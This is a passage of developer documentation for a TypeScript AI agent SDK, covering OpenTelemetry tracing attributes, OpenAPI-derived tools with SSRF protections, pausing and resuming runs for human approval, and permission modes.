To get the true total, sum `chat` spans only (`gen_ai.operation.name = chat`),
read the top-level `invoke_agent` span alone, or use the
`gen_ai.client.token.usage` metric. If the backend cannot filter, pass
`createOtelTraceExporter({ agentUsageTotals: false })`: the usage attributes
then stay on `chat` spans only (`lousho.cost_usd` stays on every span).

### Model call: `chat {model}` (CLIENT)

| Attribute | Value |
| - | - |
| `gen_ai.operation.name` | `chat` |
| `gen_ai.provider.name` | The provider's `name` |
| `gen_ai.request.model` | The requested model |
| `gen_ai.request.temperature`, `gen_ai.request.max_tokens` | When set |
| `gen_ai.response.model` | When the provider reports it |
| `gen_ai.response.id` | The provider's response id, when it reports one |
| `gen_ai.response.finish_reasons` | e.g. `["stop"]`, `["tool_call"]` |
| `gen_ai.usage.input_tokens`, `gen_ai.usage.output_tokens` | Token usage |
| `lousho.cost_usd` | Estimated USD of this step, when the built-in price table (or `registerModel`) knows the model; absent otherwise |
| `lousho.usage.estimated` | `true` when the provider reported no usage and the tokens were estimated |
| `lousho.retry.count` | How many times `withRetry()` (the agent's `retry`) retried this call; absent when it was not retried |
| `lousho.retry.errors` | Each retried failure's error category and HTTP status, e.g. `["timeout", "unknown 500"]` |

### Tool call: `execute_tool {tool}`

| Attribute | Value |
| - | - |
| `gen_ai.operation.name` | `execute_tool` |
| `gen_ai.tool.name` | The tool name |
| `gen_ai.tool.call.id` | The model's tool-call id (agent runs) |
| `gen_ai.tool.description` | The tool's description, when it has one |
| `gen_ai.tool.type` | `function` |
| `gen_ai.agent.name`, `gen_ai.conversation.id` | The calling agent / session |
| `lousho.tool.parent_call_id` | On a call a [code mode](/code-mode) script made: the `run_code` call's id (its span is the parent) |

### Flows

The GenAI spec defines no convention for flow nodes, so node spans use the
`lousho.flow.*` namespace. The run span uses the spec's workflow convention.

| Span | Attribute | Value |
| - | - | - |
| `invoke_workflow {name}` | `gen_ai.operation.name` | `invoke_workflow` |
| | `gen_ai.workflow.name` | The flow's `name` |
| | `lousho.flow.code` | The flow's `code` |
| | `lousho.flow.outcome` | `success` or `error` |
| `flow.node {type}` | `lousho.flow.node.id` | The node's id |
| | `lousho.flow.node.type` | The node type (`sequence`, `llmCall`, ...) |
| | `lousho.flow.outcome` | `success` or `error` |

### Errors

A failed span gets `error.type` and an error span status (OpenTelemetry
`ERROR`, message = the error message). `error.type` is the thrown error's
`name` (`_OTHER` when a non-`Error` is thrown). A tool call that returns an
error to the model (`isError`) is marked `error.type = tool_error`.

## Metrics

`createOtelTraceExporter()` also records the OpenTelemetry GenAI client
metrics through `@opentelemetry/api`'s metrics API, using the global
`MeterProvider` (`metrics.getMeter(...)`), or the `meter` option:

| Metric | Type, unit | Recorded | Attributes |
| - | - | - | - |
| `gen_ai.client.token.usage` | Histogram, `{token}` | Once per token type for every model call that reports (or estimates) usage | `gen_ai.operation.name` (`chat`), `gen_ai.provider.name`, `gen_ai.request.model`, `gen_ai.response.model` (when known), `gen_ai.token.type` (`input` or `output`) |
| `gen_ai.client.operation.duration` | Histogram, `s` | Every model call (`chat`) and tool call (`execute_tool`) | `gen_ai.operation.name`, `gen_ai.provider.name` and `gen_ai.request.model` (model calls), `gen_ai.response.model` (when known), `error.type` (when it failed) |

Both use the spec's recommended bucket boundaries. They follow the
`gen-ai-metrics` page of semantic-conventions v1.40 (`Development` stability):
the newest conventions split the token histogram into per-type counters,
which this SDK does not emit yet. Agent and flow spans are not counted in the
duration metric, only the model and tool calls inside them.

```ts theme={null}
import { metrics } from '@opentelemetry/api';
import { ConsoleMetricExporter, MeterProvider, PeriodicExportingMetricReader } from '@opentelemetry/sdk-metrics';
import { createOtelTraceExporter } from '@lousho/build-ai-agent/otel';

// Swap ConsoleMetricExporter for an OTLP exporter to reach any backend.
metrics.setGlobalMeterProvider(
  new MeterProvider({ readers: [new PeriodicExportingMetricReader({ exporter: new ConsoleMetricExporter() })] })
);

const exporter = createOtelTraceExporter(); // metrics on by default
// createOtelTraceExporter({ metrics: false })  // spans only
// createOtelTraceExporter({ meter })           // an already-obtained Meter
```

Without a registered `MeterProvider`, OpenTelemetry's no-op meter discards
the records. The metrics API lives in `@opentelemetry/api`, so nothing is
recorded (and nothing is loaded) when that optional peer is not installed.
The cost is an estimate from the price table (see `registerModel`), not a bill.

## Message and argument content is opt-in

Prompts, model output and tool arguments/results are sensitive and large, so
the `gen_ai.*` content attributes are **never recorded by default**. Opt in
per agent with `createAgent({ exporter, captureContent: true })`.

#### Advanced: the executor API

With the executor, opt in per run:

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { type TraceExporter } from '@lousho/build-ai-agent';

declare const exporter: TraceExporter;

await AgentExecutor.execute({ agent, input, provider, exporter, captureContent: true });
```

Flows take the same flag on their context (`captureContent`). When
`captureContent` is not set, the `OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT=true`
environment variable (the name the spec uses as its example) turns it on.
An explicit `captureContent: false` always wins.

With it on, content is recorded as JSON strings (the spec's fallback for
spans) in the spec's message schema:

| Attribute | On | Content |
| - | - | - |
| `gen_ai.input.messages` | `invoke_agent`, `chat` | `[{ role, parts: [{ type: 'text', content }, { type: 'tool_call', id, name, arguments }, { type: 'tool_call_response', id, response }] }]` |
| `gen_ai.system_instructions` | `chat` | `[{ type: 'text', content }]` |
| `gen_ai.output.messages` | `chat` | `[{ role: 'assistant', parts: [...] }]` |
| `gen_ai.tool.call.arguments` | `execute_tool` | The arguments as JSON |
| `gen_ai.tool.call.result` | `execute_tool` | The result as JSON (not set when the tool failed) |

## Deprecated attribute names

Before the GenAI conventions, spans used ad-hoc names and the span names
`agent.run`, `llm.generate` and `tool.call`. The old attribute names are still
emitted next to the new ones so existing dashboards keep working, but they are
**deprecated** and will be removed in a future major version. Span names
changed (to what the spec requires); update queries that matched on them.

| Deprecated | Use instead |
| - | - |
| span `agent.run` | span `invoke_agent {name}`, `gen_ai.operation.name = invoke_agent` |
| span `llm.generate` | span `chat {model}`, `gen_ai.operation.name = chat` |
| span `tool.call` | span `execute_tool {tool}`, `gen_ai.operation.name = execute_tool` |
| `model` | `gen_ai.request.model` |
| `promptTokens` | `gen_ai.usage.input_tokens` |
| `completionTokens` | `gen_ai.usage.output_tokens` |
| `totalTokens` | (sum the two usage attributes) |
| `finishReason` | `gen_ai.response.finish_reasons` (an array; `tool_calls` is now `tool_call`) |
| `toolName` | `gen_ai.tool.name` |
| `error` (the error message; absent on success) | `error.type` and the span status |
| `input`, `prompt`, `args`, `result` | `gen_ai.input.messages`, `gen_ai.tool.call.arguments`, `gen_ai.tool.call.result` (opt-in, see above) |

With `createOtelTraceExporter({ legacyAttributes: false })` the OpenTelemetry
spans carry only the GenAI names, not the deprecated ones next to them (fewer
attributes per span); the default `true` keeps both.

The deprecated content attributes (`input`, `prompt`, `args`, `result`) are
off by default: `redactContent` defaults to `true`. Pass `redactContent: false`
to record them as before; `captureContent` governs only the `gen_ai.*` content
attributes.

## Local traces

`fileTraceExporter()` from `@lousho/build-ai-agent/traces` writes each run to a
file, and `lousho traces` shows the files in the terminal. No OpenTelemetry
backend, no extra package.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { fileTraceExporter } from '@lousho/build-ai-agent/traces';
import { z } from 'zod';

const getWeather = defineTool({
  name: 'get_weather',
  description: 'Current weather for a city',
  input: z.object({ city: z.string() }),
  execute: async ({ city }) => `Sunny in ${city}`,
});

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  tools: [getWeather],
  exporter: fileTraceExporter({ dir: '.lousho/traces' }), // the default dir
});
```

Then, from the project directory:

```bash theme={null}
npx lousho traces                 # the 20 most recent runs, newest first
npx lousho traces --limit 50 --json
npx lousho traces 3f2a            # one run as a tree; a unique id prefix is enough
npx lousho traces 3f2a --content  # also the captured messages and tool arguments
```

```
TIME    AGENT    DURATION  MODEL CALLS  TOOL CALLS  TOKENS IN/OUT  COST       STATUS  ID
2h ago  weather  1.65s     2            1           159/32         $0.000043  ok      3f2a9c1e-5b7d-4e8a-9c0f-1a2b3c4d5e6f

Trace 3f2a9c1e-5b7d-4e8a-9c0f-1a2b3c4d5e6f  4 spans, 1.65s
invoke_agent weather         |████████████████████████|     1.65s  $0.000043
├─ chat gpt-4o-mini          |█████████████           |     900ms  openai/gpt-4o-mini  in 62 out 18  $0.000020
├─ execute_tool get_weather  |             █          |      22ms  tool get_weather
└─ chat gpt-4o-mini          |             ██████████ |     705ms  openai/gpt-4o-mini  in 97 out 14  $0.000023
```

Options: `--dir D` reads another directory (default `.lousho/traces`),
`--limit N` lists N runs (default 20), `--json` prints the summaries or the
spans as JSON. An id prefix that matches several runs lists them and exits 1.
Colour is off when `NO_COLOR` is set or the output is not a terminal. The
token counts and the cost are the sums of the run's `chat` spans, sub-agents'
included (background ones too); the cost is blank (`-`) when a model's price is
unknown.

**Files.** One file per run at `<dir>/<YYYY-MM-DD>/<traceId>.jsonl` (the run's
local start date; the trace id is the id of its `invoke_agent` span), so old
traces can be deleted by day. Each line is one finished span, written as it
ends:

```json theme={null}
{"v":1,"traceId":"3f2a…","id":"a100…","parentId":"3f2a…","name":"chat gpt-4o-mini","kind":"client","startTime":1790848800005,"endTime":1790848800905,"attributes":{"gen_ai.usage.input_tokens":62,"…":"…"}}
```

`startTime` and `endTime` are milliseconds since the epoch; `attributes` are
the span attributes above, unshortened. A span that never ended (the process
died) is not in the file. If the directory cannot be written, the exporter
warns once and the run goes on. `listTraces({ dir, limit })` and
`readTrace(idOrPrefix, { dir })` read the files from code.

The files hold what the spans hold. By default that is no message or tool
content: the deprecated `input`, `prompt`, `args` and `result` attributes are
recorded only with `redactContent: false` (see
[Deprecated attribute names](#deprecated-attribute-names)), and
`captureContent: true` adds the `gen_ai.*` content. Keep `.lousho/` out of
version control; projects made by `lousho init` ignore it.

`lousho dev` and `lousho chat` write these files when you pass `--traces`
(into `.lousho/traces`) or `--traces=<dir>`, for a spec file, an agent
directory or a module, so a spec-file agent needs no code to be traced. It is
opt-in on purpose: the files persist span timings, token counts and costs,
and prompt and tool content only if the agent sets `redactContent: false` or
`captureContent: true`, so nothing is written to disk unless you ask. The spec file format has no
traces setting.

## The built server

The server `lousho build --target=node-server` or `--target=docker` generates
exports traces with no code when the standard `OTEL_EXPORTER_OTLP_ENDPOINT`
(or `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT`) variable is set where it runs. It
registers an OpenTelemetry tracer provider that sends spans over OTLP/HTTP,
and gives the agent `createOtelTraceExporter()`, so every `/chat` turn arrives
as the `invoke_agent` / `chat` / `execute_tool` tree above. An `exporter` the
agent's config already has (an agent directory's or a module's) keeps
running: both receive every span.

The OpenTelemetry SDK is not bundled. Install these packages next to
`dist/server.js`, or add them to the build's `package.json` dependencies
before you build the docker image:

```bash theme={null}
npm install @opentelemetry/api @opentelemetry/sdk-trace-node@^2 @opentelemetry/resources@^2 @opentelemetry/exporter-trace-otlp-http
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4318 OTEL_SERVICE_NAME=support-agent node dist/server.js
```

* The server imports them at start-up only when the variable is set. When one
  is missing it logs which packages to install and serves without exporting
  traces.
* `service.name` is `OTEL_SERVICE_NAME` when set, otherwise the agent's name.
  `OTEL_RESOURCE_ATTRIBUTES`, `OTEL_EXPORTER_OTLP_HEADERS` (for an API key)
  and the batch settings (`OTEL_BSP_SCHEDULE_DELAY`, ...) work as the OTel SDK
  documents them.
* On SIGINT or SIGTERM the server sends the spans it still holds before it
  exits.
* With neither variable set, nothing is imported and the server runs as before.

Message content follows the agent's own settings
([Message and argument content is opt-in](#message-and-argument-content-is-opt-in)).

## Backends

Any backend that ingests OpenTelemetry traces (OTLP) receives these spans.
Backends and tools that understand the GenAI semantic conventions can render
them as LLM, agent and tool calls with token usage; others show them as
ordinary spans with attributes. Which conventions a given backend supports,
and which version of them, varies; check its documentation.


# OpenAPI tools
Source: https://lousho.com/openapi-tools



Most services publish an OpenAPI document and no MCP server. `openApiTools()`
turns that document into one typed tool per API operation, so an agent can call
the API without a hand-written `defineTool()` per endpoint and without the raw
[`http` tool](/tools#built-in-tools). Operations that change data ask for
[approval](/approvals) by default.

`openApiTools` is exported from `@lousho/build-ai-agent` and
`@lousho/build-ai-agent/tools`. It needs no extra package. The `vendor/` model
prefix chooses the provider; with OpenRouter use `openrouter/<vendor>/<model>`
(e.g. `openrouter/openai/gpt-4o-mini`).

## Quick start

```ts theme={null}
import { createAgent, openApiTools } from '@lousho/build-ai-agent';

const tools = await openApiTools('https://api.example.com/openapi.json', {
  include: ['getOrder', 'refundOrder'],
  bearerToken: () => process.env.ORDERS_API_TOKEN ?? '',
});

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools });
const paused = await agent.send('Refund order 1042');
// getOrder ran. refundOrder (a POST) is waiting for approval:
// agent.approvals.resolve({ id: paused.approvalId!, approved: true })
```

`openApiTools()` is always async, because the document may be a URL. It returns
an array of tools you pass to `createAgent({ tools })` like any other.

`document` can be a parsed OpenAPI 3.0 or 3.1 object, a JSON or YAML string, or
an https URL (a string or a `URL`). Parsing happens once, inside
`openApiTools()`; a tool's `execute` only builds and sends a request.

## What each tool looks like

| Part | Value |
| - | - |
| Name | The `operationId`, with characters outside `A-Za-z0-9_-` replaced by `_`. Without an `operationId`: `<method>_<path>` (`GET /orders/{orderId}` becomes `get_orders_orderId`). With `prefix`: `<prefix>__<name>`. At most 64 characters. Two operations with the same name throw a `ConfigurationError` that lists both. |
| Description | The operation's `summary`, then its `description` (cut at 1,000 characters), then the method and path (`GET /orders/{orderId}`). |
| Input | An object with every path, query, header and cookie parameter as a top-level property (required as the document declares), plus `body` for an `application/json` request body. Schemas follow `$ref`s into `components`, including `parameters` and `requestBodies`. OpenAPI 3.0 `nullable` works. A parameter whose name is already taken by another location is named `<location>_<name>`. |
| Result | `{ status, statusText, body }` for every HTTP response, error statuses too, so the model can read a 404 and react. `body` is parsed JSON when the response says JSON, otherwise text, empty as `null`. |
| Errors | A network failure, a timeout and a refused redirect are tool errors. |

`Accept`, `Content-Type` and `Authorization` header parameters are ignored, as
the OpenAPI specification says; use `bearerToken` or `headers` for credentials.

## Options

| Option | Default | Meaning |
| - | - | - |
| `baseUrl` | first `servers` entry | Where requests go. Overrides the document. For a document fetched from a URL, a missing `servers` entry means that URL's origin. |
| `include` | all operations | Operation names (`operationId` or derived name), or a function `(op) => boolean`. Naming an operation the document does not have throws. |
| `exclude` | none | Operation names to leave out. |
| `approval` | `'mutating'` | `'mutating'`, `'always'`, `'never'`, or `(op) => boolean`. |
| `prefix` | none | Prefix for tool names. |
| `headers` | none | Headers sent on every request, or a function called per request. |
| `bearerToken` | none | Shorthand for `Authorization: Bearer <token>`; a function is called per request. |
| `providedArguments` | none | Values your application supplies; see below. |
| `timeoutMs` | `30000` | Per request. |
| `maxResponseChars` | `50000` | The response body is cut at this length, with a note saying how much was left out. |
| `fetch` | global `fetch` | Replaces `fetch` (tests, proxies). Cannot be combined with `privateAddresses: 'refuse'`. |
| `privateAddresses` | `'allow'` | `'refuse'` makes requests and the document fetch fail for loopback, link-local and private addresses; see [Security rules](#security-rules). Node only. |
| `allowPrivate` | none | With `'refuse'`: hosts (`intranet.example`, `*.corp.example`, an IP address) that may be or resolve to private addresses. |

`op` is `{ name, operationId?, method, path, summary?, tags }`.

## Approval defaults

With `approval: 'mutating'`, GET, HEAD and OPTIONS run, and every other method
asks. Each tool also carries MCP-style annotations: `readOnlyHint: true,
destructiveHint: false` on GET, HEAD and OPTIONS; `readOnlyHint: false` on the
rest, with `destructiveHint: true` for DELETE. Anything that reads annotations treats these tools the way it treats MCP tools.

```ts theme={null}
import { openApiTools } from '@lousho/build-ai-agent';

declare const spec: object;

// Ask for everything except two reads that are known to be harmless.
const tools = await openApiTools(spec, {
  approval: (op) => !['getOrder', 'listOrders'].includes(op.name),
});
```

## Values your application supplies

`providedArguments` fills parameters the model should not choose, such as a
tenant id. A provided key is removed from the tool's input schema (the model
never sees it) and added to the request. The value can be a function, called per
request with the operation and the tool call id.

```ts theme={null}
import { openApiTools } from '@lousho/build-ai-agent';

declare const spec: object;
declare const currentTenant: () => string;

const tools = await openApiTools(spec, {
  providedArguments: {
    'X-Tenant-Id': () => currentTenant(),
    accountId: 'acct_123',
  },
});
```

The key is the parameter's input key: its name, or `<in>_<name>` (e.g.
`query_id`) when two parameters of an operation share a name; the request
body's key is `body` (`requestBody` when a parameter already took `body`). A
key that no selected operation has throws, so a typo does not silently expose
the parameter to the model.

## Security rules

* **The base URL is yours, not the model's.** The model chooses parameter and
  body values; it never chooses the host. The base URL must be https. Plain
  http is accepted only for `localhost`, `127.0.0.1` and `[::1]`, and a URL with
  a user name or password is refused. The same rule applies to a document URL.
* **Credentials stay out of what the model and your logs see.** Headers and
  tokens are never part of a tool's input schema, its `tool.start` and
  `tool.done` events or the transcript; only the model's own input and the
  response are. A header the model supplies for a declared header parameter
  never replaces `headers` or `bearerToken`.
* **Redirects stay on the base origin.** Requests use manual redirects: at most
  3 are followed, and only to the same origin as the base URL. A redirect to
  another origin is a tool error, so a token never leaves the configured origin.
* **Path values stay in their segment.** Path parameters are percent-encoded
  (`../admin` cannot climb out of its segment), and a value of exactly `.` or
  `..` is refused.
* **Private addresses: off by default, `privateAddresses: 'refuse'` to check.**
  By default the tools call the base URL you configured, wherever it resolves:
  base URLs are yours and often internal. When the base URL or the document URL
  is not fully under your control (a name someone else's DNS answers, a
  document you fetch from elsewhere), pass `privateAddresses: 'refuse'`. Then
  every operation request and the document fetch, each redirect hop included,
  is refused when its host is or resolves to a loopback, link-local, private,
  shared, multicast or reserved address (the list `http_request` uses, NAT64
  and 6to4 included). Host names are checked with the same pinned DNS lookup as
  `http_request` and `web_fetch`: the host is resolved once per connection,
  every address is checked, and the socket connects to the address that was
  checked, so a DNS-rebinding name (public to the check, `127.0.0.1` to the
  connection) never reaches a private address. IP literals in any form `URL`
  accepts (`2130706433`, `0x7f000001`, `0177.0.0.1`, `[::ffff:127.0.0.1]`) and
  `localhost` / `*.localhost` names are refused when the tools are made, as a
  `ConfigurationError`. The model cannot move a request to another host: path
  values are percent-encoded into their segment, server URL variables take
  only the document's defaults, and redirects stay on the base origin. List
  your own internal hosts in `allowPrivate` (`allowPrivate: ['localhost']` for
  a local API). A refused request is a tool error that names the host, never
  the addresses it resolved to.
  `'refuse'` cannot be combined with `fetch`: a custom `fetch` resolves names
  itself, so the check could not pin the address it connects to, and making
  the tools throws instead of checking only half. With your own `fetch` (or a
  proxy), check destinations there. `'refuse'` needs Node.js (`undici` and
  `node:dns`); on a runtime without them, making the tools throws a
  `ConfigurationError` rather than send unchecked requests. Cloudflare Worker
  builds do not offer `openApiTools`.

## Large APIs

An API with hundreds of operations is hundreds of tools. Give the agent the ones
it needs with `include` or `exclude`, or with a predicate on `op.tags`:

```ts theme={null}
import { openApiTools } from '@lousho/build-ai-agent';

declare const spec: object;

const tools = await openApiTools(spec, { include: (op) => op.tags.includes('orders') });
```

## Limits

* OpenAPI 3.0 and 3.1 only. A Swagger 2.0 document throws a `ConfigurationError`
  that asks you to convert it first.
* Request bodies must be JSON (`application/json` or `+json`). An operation
  with only a multipart, form or XML body is left out; naming it in `include`
  throws.
* Only the first `servers` entry is used, with variables at their defaults.
  Path-level and operation-level `servers` are ignored.
* Every `$ref` must be local (`#/components/...`); a reference to another file
  or URL throws. Bundle the document first.
* No OAuth flows. `bearerToken` and `headers` cover static and per-request
  credentials.
* Response bodies are read as text, and responses are not streamed.


# Pause, restart, resume
Source: https://lousho.com/pause-and-resume

A tutorial for one job: an agent that stops to ask a human before a risky tool call, survives a process restart while it waits, and carries on once someone decides. Then what happens when the process dies in the middle of a tool.

The snippets use `mockModel` so they run as pasted, with no API key. Swap in a
real `provider` or `model` for your own agent; nothing else changes. Each
section links to the page that has the full detail.

## 1. A tool that needs approval

Set `needsApproval` on the tool. The run pauses before the tool executes:

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

export const refund = defineTool({
  name: 'refund',
  description: 'Refund an order',
  input: z.object({ orderId: z.string() }),
  needsApproval: true, // or a predicate over the arguments
  execute: async ({ orderId }) => `refunded ${orderId}`,
});
```

See [Approvals](/approvals#which-calls-pause) for predicates and permission
policies.

## 2. Give the agent a durable store

Pauses and checkpoints live in the agent's `store`. The default is in memory,
which a restart loses. Use a durable one: `SqliteStore` (one transactional file,
shared by several processes on one host) or `fileStore(dir)` (plain JSON files). See
[Choosing a store](/sessions#choosing-a-store).

## 3. Send: the run pauses

`send()` does not throw at a pause. It resolves with
`finishReason: 'awaiting-approval'` and the id to decide:

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const refund = defineTool({
  name: 'refund',
  description: 'Refund an order',
  input: z.object({ orderId: z.string() }),
  needsApproval: true,
  execute: async ({ orderId }) => `refunded ${orderId}`,
});

const agent = createAgent({
  provider: mockModel([{ toolCalls: [{ name: 'refund', args: { orderId: 'B-1' } }] }]),
  tools: [refund],
  store: new SqliteStore('./pause-and-resume.db'),
});

// `sessionId` makes the run durable: its progress is checkpointed under this id.
const paused = await agent.send('Refund order B-1', { sessionId: 'refund-B-1' });
console.log(paused.finishReason, paused.approvalId); // 'awaiting-approval', '...'
// The process can exit now. The pause is in the store.
```

Use `agent.session({ id })` instead of `sessionId` when the conversation should
keep a transcript across turns (see [Sessions](/sessions#durable-sessions));
the pause and resume calls below are the same.

## 4. In a new process: list the pauses and decide one

Start the process again with the same store. `agent.approvals.list()` returns
the pending calls, oldest first, including the ones another process or an earlier
run left in the store. `agent.approvals.resolve()` runs the call (or rejects it),
continues the run, and resolves with the result:

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const refund = defineTool({
  name: 'refund',
  description: 'Refund an order',
  input: z.object({ orderId: z.string() }),
  needsApproval: true,
  execute: async ({ orderId }) => `refunded ${orderId}`,
});

// The same agent definition and the same store. Here the mock model only has
// the final reply left to give; a real provider needs no script.
const agent = createAgent({
  provider: mockModel(['Order B-1 is refunded.']),
  tools: [refund],
  store: new SqliteStore('./pause-and-resume.db'),
});

for (const call of await agent.approvals.list()) {
  console.log(`${call.toolName}`, call.args); // refund { orderId: 'B-1' }
  const result = await agent.approvals.resolve({ id: call.id, approved: true });
  console.log(result.finishReason, result.text); // 'stop', 'Order B-1 is refunded.'
}
```

* To reject, pass `approved: false` and a `note` the model sees as the reason.
* A session that paused is found from its pause record, so you do not need to
  open it or call `resume()` first.
* `resolve()` throws when the id is unknown or already decided, so two processes
  racing on one pause cannot both run the tool.
* A pause from `send(msg, { sessionId })` shows in `agent.pending()` with
  `status: 'awaiting-approval'` and its `approvalId`.

## 5. See the run finish

`resolve()` resolves with the continued run's result. The tool ran, the model got
its output and answered, and `finishReason` is `'stop'`. If the continued run
pauses again (another `needsApproval` call), you get `'awaiting-approval'` and a
new id: list and decide again. To show progress to a user instead, use
`agent.approvals.streamResolve()`. Everything else about decisions (several calls
in one step, "don't ask again", approve with edited arguments, expiry) is in
[Approvals](/approvals#createagent-agents).

## 6. When the process dies mid-run

A crash or a kill leaves the run's checkpoint in the store with status
`'in-progress'`. A restarted process finds it with `agent.pending()` and finishes
it with `agent.resume(sessionId)`, or hands the whole job to `agent.recover()`.

This snippet stands in for the crash with a tool that throws
`PropagatingToolError` the first time (the way a dying process would stop the
step), then recovers:

```ts theme={null}
import { createAgent, defineTool, memoryStore, PropagatingToolError } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

let charges = 0;
let attempts = 0;
const tools = [
  defineTool({ name: 'charge', description: 'Charge the card', input: z.object({}), execute: async () => `charged ${++charges}` }),
  defineTool({
    name: 'ship',
    description: 'Ship the order',
    input: z.object({}),
    execute: async () => {
      if (++attempts === 1) throw new PropagatingToolError('process died'); // the "crash"
      return 'shipped';
    },
  }),
];
// Use fileStore(dir) or a SqliteStore in real code: memoryStore() does not survive a restart.
const agent = createAgent({
  provider: mockModel([{ toolCalls: [{ name: 'charge' }] }, { toolCalls: [{ name: 'ship' }] }, 'Order charged and shipped.']),
  tools,
  store: memoryStore(),
});
await agent.send('Charge and ship order 7', { sessionId: 'order-7' }).catch(() => undefined);

// After the restart: what is unfinished?
for (const run of await agent.pending()) {
  console.log(run.sessionId, run.status); // order-7 in-progress
}

// Finish it. Completed steps are not run again.
const finished = await agent.resume('order-7'); // ExecutionResult, or null when nothing was pending
console.log(finished?.text, charges); // Order charged and shipped. 1
```

To do this without writing the loop, start `agent.recover()` once per process at
startup: it polls `pending()` and resumes every `'in-progress'` run, leaves
approvals for a human, and is safe to run on every replica (run leases make sure
one process resumes each run). See
[Recovering automatically](/durable-execution#recovering-automatically).

**At-least-once for the step that was running.** Recorded model responses and
finished tool results are never repeated: that is why `charge` ran once above.
But a tool that was mid-call when the process died runs again on resume, so its
side effect can happen twice. Make such tools idempotent (an idempotency key
passed to the payment API, a "have I done this" check). See
[At-least-once tools](/durable-execution#at-least-once-tools-make-side-effects-idempotent).
A tool with `needsApproval` is not affected by this while it waits: a pause
records no work, it only waits for the decision.

## 7. Over HTTP

The built server (see [Deployment](/deployment)) does this for you. A client
that resends a `POST /chat` after a dropped connection can send the same
`Idempotency-Key` header: a finished turn is replayed without running anything,
and a turn interrupted by a crash is resumed from its last checkpoint instead of
starting over. A session paused on an approval answers `409`
(`LOUSHO_SESSION_AWAITING_APPROVAL`) until it is decided. The table of outcomes
is in [Resending a turn](/deployment#resending-a-turn).

## Where to go next

* [Approvals](/approvals): permission policies, several calls in one step,
  expiry, deciding in code.
* [Sessions](/sessions#durable-sessions): durable session turns and stores.
* [Durable execution](/durable-execution): checkpoints, run leases, the
  guarantees, fork and replay.


# Permission modes
Source: https://lousho.com/permission-modes



A permission mode puts an agent in a named state instead of writing rules: look
but do not touch (`plan`), edit files without asking (`acceptEdits`), or never
pause (`dontAsk`). Switch it in the middle of a session, the way you would work
with a coding agent: plan first, then let it edit.

```ts theme={null}
import { createAgent, createFsTools, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({ files: { 'notes.md': '# Notes\n' } });
const agent = createAgent({
  provider: mockModel(['I would add a "Todo" section to notes.md.', 'Done.']),
  instructions: 'You are a coding agent.',
  tools: createFsTools(workspace, { needsApproval: { write_file: true, edit_file: true } }),
});

const session = agent.session({ permissionMode: 'plan' });
await session.send('Plan how to add a todo list to notes.md.'); // reads only; writes are refused
session.setPermissionMode('acceptEdits');
await session.send('Apply the plan.'); // write_file and edit_file run without asking
```

The modes are presets over the [permission rules](/approvals#permission-policies)
and `needsApproval`, not a second system: they apply last, to what the rules,
guardrails and the tool's own `needsApproval` decided.

## The modes

| Mode | Read-only tools | File edits | Other tools that ask | Other tools that do not ask |
| - | - | - | - | - |
| `'default'` | Normal gate | Normal gate | Pause for approval | Run |
| `'plan'` | Normal gate (they may still ask) | Denied | Denied | Denied |
| `'acceptEdits'` | Normal gate | Run without asking | Pause for approval | Run |
| `'dontAsk'` | Normal gate, but a call that would ask is denied | Denied when they would ask | Denied | Run |

* **`plan`**: a call to a tool that is not read-only is refused with
  `kind: 'denied'` and the reason `The agent is in plan mode: it may read but
  not change anything. Describe the change instead.` - also when an `allow`
  rule matched it. A run that starts in plan mode also gets one paragraph in its
  system prompt telling the model so. A call to an unknown tool still gets the
  normal not-found error, so the model sees the real problem.
* **`acceptEdits`**: a call that would pause for approval runs without asking
  when its tool is a file edit (`editsFiles`, below). Everything else is
  unchanged.
* **`dontAsk`**: a call that would pause for approval - an `ask` rule,
  `needsApproval`, or `ask_question` - is refused with the reason `The agent is
  in dontAsk mode: calls that need approval are refused.` Calls an `allow` rule
  approved and calls that need no approval run. Nothing pauses, so an `approve`
  callback is never called.

### Which tools are read-only

Plan mode lets a tool run only when it says it changes nothing. A tool that
says nothing is treated as one with side effects and is refused.

* A tool with `annotations: { readOnlyHint: true }`. Built in: `read_file`,
  `list_dir`, `glob`, `grep`, `todo_read`, `current_date`, `day_name`,
  `web_fetch`, `load_skill`, every `recall_<name>` memory tool, and
  `agent_status` / `agent_await` (they watch background sub-agents). An
  [OpenAPI tool](/openapi-tools) for a `GET` operation has it too. An
  [MCP tool](/mcp-integration) counts only when its server entry sets
  `approval: 'annotations'`: the hint is the server's word, not a guarantee, so
  by default plan mode refuses every MCP tool.
* The built-in `ask_question` (it only asks; the call still pauses for the
  answer) and `task` (its sub-agent inherits plan mode, see below).
* [Hosted provider tools](/hosted-tools) run inside the provider's request,
  so no call can be refused. Plan mode sends `webSearch()` and `fileSearch()`
  (they read) and leaves `codeInterpreter()` and every `hostedTool()` out of
  the model request; the other modes send them all.

Declare a custom read-only tool like this:

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const lookUpOrder = defineTool({
  name: 'look_up_order',
  description: 'Read an order by id',
  input: z.object({ id: z.string() }),
  annotations: { readOnlyHint: true },
  execute: async ({ id }) => ({ id, status: 'shipped' }),
});
```

The hint is a promise you make about your tool: plan mode trusts it.

### File edits: the `editsFiles` marker

`acceptEdits` approves only tools marked as file edits: `write_file` and
`edit_file` from `createFsTools()`, and any tool defined with `editsFiles: true`
(stored as `metadata.editsFiles`). A tool is never a file edit by its name
alone, so a tool of your own named `write_file` is not approved silently.

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const appendLine = defineTool({
